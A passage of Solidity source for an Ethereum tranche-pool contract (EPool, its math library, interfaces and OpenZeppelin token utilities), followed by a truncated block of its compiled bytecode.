@param fracDelta Fraction of the delta of deltaA or deltaB to rebalance * @return deltaA Rebalanced delta of reserveA * @return deltaB Rebalanced delta of reserveB * @return rChange 0 for deltaA <= 0 and deltaB >= 0, 1 for deltaA > 0 and deltaB < 0 (trancheDelta method) * @return rDiv Deviation from target in percentage (1e18) */ function rebalance( uint256 fracDelta ) external virtual override returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { (deltaA, deltaB, rChange, rDiv) = _rebalanceTranches(fracDelta); require(rDiv >= rebalanceMinRDiv, "EPool: minRDiv not met"); require(block.timestamp >= lastRebalance + rebalanceInterval, "EPool: within interval"); lastRebalance = block.timestamp; if (rChange == 0) { tokenA.safeTransfer(msg.sender, deltaA); tokenB.safeTransferFrom(msg.sender, address(this), deltaB); } else { tokenA.safeTransferFrom(msg.sender, address(this), deltaA); tokenB.safeTransfer(msg.sender, deltaB); } } /** * @notice Issues EToken by depositing TokenA and TokenB proportionally to the current ratio * @dev Requires setting allowance for TokenA and TokenB * @param eToken Address of the eToken of the tranche * @param amount Amount of EToken to redeem * @return amountA Amount of TokenA deposited * @return amountB Amount of TokenB deposited */ function issueExact( address eToken, uint256 amount ) external override issuanceNotPaused("EPool: issuance paused") returns (uint256 amountA, uint256 amountB) { Tranche storage t = tranches[eToken]; (amountA, amountB) = EPoolLibrary.tokenATokenBForEToken(t, amount, _rate(), sFactorA, sFactorB); (t.reserveA, t.reserveB) = (t.reserveA + amountA, t.reserveB + amountB); t.eToken.mint(msg.sender, amount); tokenA.safeTransferFrom(msg.sender, address(this), amountA); tokenB.safeTransferFrom(msg.sender, address(this), amountB); emit IssuedEToken(eToken, amount, amountA, amountB, msg.sender); } /** * @notice Redeems EToken for TokenA and TokenB proportionally to the current ratio * @dev Requires setting allowance for EToken * @param eToken Address of the eToken of the tranche * @param amount Amount of EToken to redeem * @return amountA Amount of TokenA withdrawn * @return amountB Amount of TokenB withdrawn */ function redeemExact( address eToken, uint256 amount ) external override returns (uint256 amountA, uint256 amountB) { Tranche storage t = tranches[eToken]; require(t.reserveA + t.reserveB > 0, "EPool: insufficient liquidity"); require(amount <= t.eToken.balanceOf(msg.sender), "EPool: insufficient EToken"); (amountA, amountB) = EPoolLibrary.tokenATokenBForEToken(t, amount, 0, sFactorA, sFactorB); (t.reserveA, t.reserveB) = (t.reserveA - amountA, t.reserveB - amountB); t.eToken.burn(msg.sender, amount); if (feeRate != 0) { (uint256 feeA, uint256 feeB) = EPoolLibrary.feeAFeeBForTokenATokenB(amountA, amountB, feeRate); (cumulativeFeeA, cumulativeFeeB) = (cumulativeFeeA + feeA, cumulativeFeeB + feeB); (amountA, amountB) = (amountA - feeA, amountB - feeB); } tokenA.safeTransfer(msg.sender, amountA); tokenB.safeTransfer(msg.sender, amountB); emit RedeemedEToken(eToken, amount, amountA, amountB, msg.sender); } /** * @notice Recovers untracked amounts * @dev Can only called by an authorized sender * @param token Address of the token * @param amount Amount to recover * @return True on success */ function recover(IERC20 token, uint256 amount) external override onlyDao("EPool: not dao") returns (bool) { uint256 reserved; if (token == tokenA) { for (uint256 i = 0; i < tranchesByIndex.length; i++) { reserved += tranches[tranchesByIndex[i]].reserveA; } } else if (token == tokenB) { for (uint256 i = 0; i < tranchesByIndex.length; i++) { reserved += tranches[tranchesByIndex[i]].reserveB; } } require(amount <= token.balanceOf(address(this)) - reserved, "EPool: no excess"); token.safeTransfer(msg.sender, amount); emit RecoveredToken(address(token), amount); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "./IEToken.sol"; interface IETokenFactory { function getController() external view returns (address); function setController(address _controller) external returns (bool); function createEToken(string memory name, string memory symbol) external returns (IEToken); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEToken is IERC20 { function getController() external view returns (address); function setController(address _controller) external returns (bool); function mint(address account, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./IEToken.sol"; interface IEPool { struct Tranche { IEToken eToken; uint256 sFactorE; uint256 reserveA; uint256 reserveB; uint256 targetRatio; } function getController() external view returns (address); function setController(address _controller) external returns (bool); function tokenA() external view returns (IERC20); function tokenB() external view returns (IERC20); function sFactorA() external view returns (uint256); function sFactorB() external view returns (uint256); function getTranche(address eToken) external view returns (Tranche memory); function getTranches() external view returns(Tranche[] memory _tranches); function addTranche(uint256 targetRatio, string memory eTokenName, string memory eTokenSymbol) external returns (bool); function getAggregator() external view returns (address); function setAggregator(address oracle, bool inverseRate) external returns (bool); function rebalanceMinRDiv() external view returns (uint256); function rebalanceInterval() external view returns (uint256); function lastRebalance() external view returns (uint256); function feeRate() external view returns (uint256); function cumulativeFeeA() external view returns (uint256); function cumulativeFeeB() external view returns (uint256); function setFeeRate(uint256 _feeRate) external returns (bool); function transferFees() external returns (bool); function getRate() external view returns (uint256); function rebalance(uint256 fracDelta) external returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv); function issueExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function redeemExact(address eToken, uint256 amount) external returns (uint256 amountA, uint256 amountB); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "../interfaces/IController.sol"; contract ControllerMixin { event SetController(address controller); IController internal controller; constructor(IController _controller) { controller = _controller; } modifier onlyDao(string memory revertMsg) { require(msg.sender == controller.dao(), revertMsg); _; } modifier onlyDaoOrGuardian(string memory revertMsg) { require(controller.isDaoOrGuardian(msg.sender), revertMsg); _; } modifier issuanceNotPaused(string memory revertMsg) { require(controller.pausedIssuance() == false, revertMsg); _; } function _setController(address _controller) internal { controller = IController(_controller); emit SetController(_controller); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "../interfaces/IAggregatorV3Interface.sol"; contract ChainlinkMixin { event SetAggregator(address aggregator, bool inverseRate); AggregatorV3Interface internal aggregator; uint256 private immutable sFactorTarget; uint256 private sFactorSource; uint256 private inverseRate; // if true return rate as inverse (1 / rate) constructor(address _aggregator, bool _inverseRate, uint256 _sFactorTarget) { sFactorTarget = _sFactorTarget; _setAggregator(_aggregator, _inverseRate); } function _setAggregator(address _aggregator, bool _inverseRate) internal { aggregator = AggregatorV3Interface(_aggregator); sFactorSource = 10**aggregator.decimals(); inverseRate = (_inverseRate == false) ? 0 : 1; emit SetAggregator(_aggregator, _inverseRate); } function _rate() internal view returns (uint256) { (, int256 rate, , , ) = aggregator.latestRoundData(); if (inverseRate == 0) return uint256(rate) * sFactorTarget / sFactorSource; return (sFactorTarget * sFactorTarget) / (uint256(rate) * sFactorTarget / sFactorSource); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../interfaces/IERC20Optional.sol"; library TokenUtils { function decimals(IERC20 token) internal view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSignature("decimals()")); require(success, "TokenUtils: no decimals"); uint8 _decimals = abi.decode(data, (uint8)); return _decimals; } } // SPDX-License-Identifier: GNU pragma solidity ^0.8.1; library Math { function abs(uint256 a, uint256 b) internal pure returns (uint256) { return (a > b) ? a - b : b - a; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint256 y) internal pure returns (uint256 z) { if (y > 3) { z = y; uint256 x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IETokenFactory.sol"; import "./interfaces/IEToken.sol"; import "./interfaces/IEPool.sol"; import "./utils/TokenUtils.sol"; import "./utils/Math.sol"; library EPoolLibrary { using TokenUtils for IERC20; uint256 internal constant sFactorI = 1e18; // internal scaling factor (18 decimals) /** * @notice Returns the target ratio if reserveA and reserveB are 0 (for initial deposit) * currentRatio := (reserveA denominated in tokenB / reserveB denominated in tokenB) with decI decimals */ function currentRatio( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { if (t.reserveA == 0 || t.reserveB == 0) { if (t.reserveA == 0 && t.reserveB == 0) return t.targetRatio; if (t.reserveA == 0) return 0; if (t.reserveB == 0) return type(uint256).max; } return ((t.reserveA * rate / sFactorA) * sFactorI) / (t.reserveB * sFactorI / sFactorB); } /** * @notice Returns the deviation of reserveA and reserveB from target ratio * currentRatio > targetRatio: release TokenA liquidity and add TokenB liquidity * currentRatio < targetRatio: add TokenA liquidity and release TokenB liquidity * deltaA := abs(t.reserveA, (t.reserveB / rate * t.targetRatio)) / (1 + t.targetRatio) * deltaB := deltaA * rate */ function trancheDelta( IEPool.Tranche memory t, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange) { rChange = (currentRatio(t, rate, sFactorA, sFactorB) < t.targetRatio) ? 1 : 0; deltaA = ( Math.abs(t.reserveA, tokenAForTokenB(t.reserveB, t.targetRatio, rate, sFactorA, sFactorB)) * sFactorA ) / (sFactorA + (t.targetRatio * sFactorA / sFactorI)); // (convert to TokenB precision first to avoid altering deltaA) deltaB = ((deltaA * sFactorB / sFactorA) * rate) / sFactorI; // round to 0 in case of rounding errors if (deltaA == 0 || deltaB == 0) (deltaA, deltaB, rChange) = (0, 0, 0); } /** * @notice Returns the sum of the tranches reserve deltas */ function delta( IEPool.Tranche[] memory ts, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 deltaA, uint256 deltaB, uint256 rChange, uint256 rDiv) { uint256 totalReserveA; int256 totalDeltaA; int256 totalDeltaB; for (uint256 i = 0; i < ts.length; i++) { totalReserveA += ts[i].reserveA; (uint256 _deltaA, uint256 _deltaB, uint256 _rChange) = trancheDelta( ts[i], rate, sFactorA, sFactorB ); (totalDeltaA, totalDeltaB) = (_rChange == 0) ? (totalDeltaA - int256(_deltaA), totalDeltaB + int256(_deltaB)) : (totalDeltaA + int256(_deltaA), totalDeltaB - int256(_deltaB)); } if (totalDeltaA > 0 && totalDeltaB < 0) { (deltaA, deltaB, rChange) = (uint256(totalDeltaA), uint256(-totalDeltaB), 1); } else if (totalDeltaA < 0 && totalDeltaB > 0) { (deltaA, deltaB, rChange) = (uint256(-totalDeltaA), uint256(totalDeltaB), 0); } rDiv = (totalReserveA == 0) ? 0 : deltaA * EPoolLibrary.sFactorI / totalReserveA; } /** * @notice how much EToken can be issued, redeemed for amountA and amountB * initial issuance / last redemption: sqrt(amountA * amountB) * subsequent issuances / non nullifying redemptions: claim on reserve * EToken total supply */ function eTokenForTokenATokenB( IEPool.Tranche memory t, uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256) { uint256 amountsA = totalA(amountA, amountB, rate, sFactorA, sFactorB); if (t.reserveA + t.reserveB == 0) { return (Math.sqrt((amountsA * t.sFactorE / sFactorA) * t.sFactorE)); } uint256 reservesA = totalA(t.reserveA, t.reserveB, rate, sFactorA, sFactorB); uint256 share = ((amountsA * t.sFactorE / sFactorA) * t.sFactorE) / (reservesA * t.sFactorE / sFactorA); return share * t.eToken.totalSupply() / t.sFactorE; } /** * @notice Given an amount of EToken, how much TokenA and TokenB have to be deposited, withdrawn for it * initial issuance / last redemption: sqrt(amountA * amountB) -> such that the inverse := EToken amount ** 2 * subsequent issuances / non nullifying redemptions: claim on EToken supply * reserveA/B */ function tokenATokenBForEToken( IEPool.Tranche memory t, uint256 amount, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal view returns (uint256 amountA, uint256 amountB) { if (t.reserveA + t.reserveB == 0) { uint256 amountsA = amount * sFactorA / t.sFactorE; (amountA, amountB) = tokenATokenBForTokenA( amountsA * amountsA / sFactorA , t.targetRatio, rate, sFactorA, sFactorB ); } else { uint256 eTokenTotalSupply = t.eToken.totalSupply(); if (eTokenTotalSupply == 0) return(0, 0); uint256 share = amount * t.sFactorE / eTokenTotalSupply; amountA = share * t.reserveA / t.sFactorE; amountB = share * t.reserveB / t.sFactorE; } } /** * @notice Given amountB, which amountA is required such that amountB / amountA is equal to the ratio * amountA := amountBInTokenA * ratio */ function tokenAForTokenB( uint256 amountB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountB * sFactorI / sFactorB) * ratio) / rate) * sFactorA / sFactorI; } /** * @notice Given amountA, which amountB is required such that amountB / amountA is equal to the ratio * amountB := amountAInTokenB / ratio */ function tokenBForTokenA( uint256 amountA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns(uint256) { return (((amountA * sFactorI / sFactorA) * rate) / ratio) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenA, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := total - (total / (1 + ratio)) == (total * ratio) / (1 + ratio) * amountB := (total / (1 + ratio)) * rate */ function tokenATokenBForTokenA( uint256 _totalA, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = _totalA - (_totalA * sFactorI / (sFactorI + ratio)); amountB = (((_totalA * sFactorI / sFactorA) * rate) / (sFactorI + ratio)) * sFactorB / sFactorI; } /** * @notice Given an amount of TokenB, how can it be split up proportionally into amountA and amountB * according to the ratio * amountA := (total * ratio) / (rate * (1 + ratio)) * amountB := total / (1 + ratio) */ function tokenATokenBForTokenB( uint256 _totalB, uint256 ratio, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 amountA, uint256 amountB) { amountA = ((((_totalB * sFactorI / sFactorB) * ratio) / (sFactorI + ratio)) * sFactorA) / rate; amountB = (_totalB * sFactorI) / (sFactorI + ratio); } /** * @notice Return the total value of amountA and amountB denominated in TokenA * totalA := amountA + (amountB / rate) */ function totalA( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalA) { return amountA + ((((amountB * sFactorI / sFactorB) * sFactorI) / rate) * sFactorA) / sFactorI; } /** * @notice Return the total value of amountA and amountB denominated in TokenB * totalB := amountB + (amountA * rate) */ function totalB( uint256 amountA, uint256 amountB, uint256 rate, uint256 sFactorA, uint256 sFactorB ) internal pure returns (uint256 _totalB) { return amountB + ((amountA * rate / sFactorA) * sFactorB) / sFactorI; } /** * @notice Return the withdrawal fee for a given amount of TokenA and TokenB * feeA := amountA * feeRate * feeB := amountB * feeRate */ function feeAFeeBForTokenATokenB( uint256 amountA, uint256 amountB, uint256 feeRate ) internal pure returns (uint256 feeA, uint256 feeB) { feeA = amountA * feeRate / EPoolLibrary.sFactorI; feeB = amountB * feeRate / EPoolLibrary.sFactorI; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IController { function dao() external view returns (address); function guardian() external view returns (address); function isDaoOrGuardian(address sender) external view returns (bool); function setDao(address _dao) external returns (bool); function setGuardian(address _guardian) external returns (bool); function feesOwner() external view returns (address); function pausedIssuance() external view returns (bool); function setFeesOwner(address _feesOwner) external returns (bool); function setPausedIssuance(bool _pausedIssuance) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.7.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; /** * @dev Interface of the the optional methods of the ERC20 standard as defined in the EIP. */ interface IERC20Optional { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80635f64b55b1161010f578063b34a6a49116100a2578063dc2f511b11610071578063dc2f511b14610397578063f4993018146103ac578063f67f0be6146103cf578063faab924e146103e2576101e5565b8063b34a6a4914610356578063c148806914610369578063c2fbe7bc1461037c578063d6c8578e14610384576101e5565b806396a1c66f116100de57806396a1c66f14610305578063978bbdb914610326578063b11a1d121461032e578063b170420a14610336576101e5565b80635f64b55b146102da578063679aefce146102e2578063834b3ca0146102ea57806392eefe9b146102f2576101e5565b80633018205f11610187578063425f92cd11610156578063425f92cd1461029957806345596e2e146102a15780635705ae43146102b45780635b7dcaed146102c7576101e5565b80633018205f1461025d5780633ad59dbc146102655780633bb0170d1461026d578063419d783414610291576101e5565b806316f8645c116101c357806316f8645c146102255780632050cee4146102455780632935ef671461024d5780632a482ece14610255576101e5565b80630fc63d10146101ea578063106b9ca11461020857806316d1d9161461021d575b600080fd5b6101f26103ea565b6040516101ff9190612c93565b60405180910390f35b61021061040e565b6040516101ff9190613097565b610210610414565b610238610233366004612b0b565b61041a565b6040516101ff9190612d4d565b61021061054a565b610210610550565b6101f2610574565b6101f2610598565b6101f26105a8565b61028061027b366004612a54565b6105b7565b6040516101ff959493929190612d58565b6102106105f1565b6102106105f6565b6102386102af366004612b0b565b61061a565b6102386102c2366004612ac4565b610758565b6102386102d5366004612b0b565b610aa6565b6101f2610bbc565b610210610be0565b610210610bef565b610238610300366004612a54565b610bf5565b610318610313366004612ac4565b610ce8565b6040516101ff9291906130a0565b610210611027565b61021061102d565b610349610344366004612a54565b611033565b6040516101ff9190613089565b6101f2610364366004612b0b565b611097565b610238610377366004612a8c565b6110c1565b6102386111b6565b610318610392366004612ac4565b6113f7565b61039f6116e6565b6040516101ff9190612cff565b6103bf6103ba366004612b0b565b611828565b6040516101ff94939291906130d2565b6102386103dd366004612b3b565b611979565b610210611c52565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b60085481565b60075481565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561048f57600080fd5b505afa1580156104a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c79190612a70565b6001600160a01b0316336001600160a01b03161481906105035760405162461bcd60e51b81526004016104fa9190612d86565b60405180910390fd5b5060068390556040517f4a7d6cd4901b6056e935ae8117764092378eea4896b4f247039c613b42c15c0590610539908590613097565b60405180910390a150600192915050565b600b5481565b7f0000000000000000000000000000000000000000000000000de0b6b3a764000081565b7f0000000000000000000000003e2f548954a7f8169486936e2bb616aabce979e981565b6000546001600160a01b03165b90565b6001546001600160a01b031690565b6004602081905260009182526040909120805460018201546002830154600384015493909401546001600160a01b03909216939092909185565b600581565b7f00000000000000000000000000000000000000000000000000000000000f424081565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561068f57600080fd5b505afa1580156106a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c79190612a70565b6001600160a01b0316336001600160a01b03161481906106fa5760405162461bcd60e51b81526004016104fa9190612d86565b506706f05b59d3b200008311156107235760405162461bcd60e51b81526004016104fa90612ed9565b60098390556040517f6717373928cccf59cc9912055cfa8db86e7085b95c94c15862b121114aa333be90610539908590613097565b60006040518060400160405280600e81526020016d45506f6f6c3a206e6f742064616f60901b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156107cd57600080fd5b505afa1580156107e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108059190612a70565b6001600160a01b0316336001600160a01b03161481906108385760405162461bcd60e51b81526004016104fa9190612d86565b5060007f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316856001600160a01b031614156108f35760005b6005548110156108ed5760046000600583815481106108a757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020600201546108d9908361312e565b9150806108e58161331e565b915050610878565b506109a7565b7f000000000000000000000000a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486001600160a01b03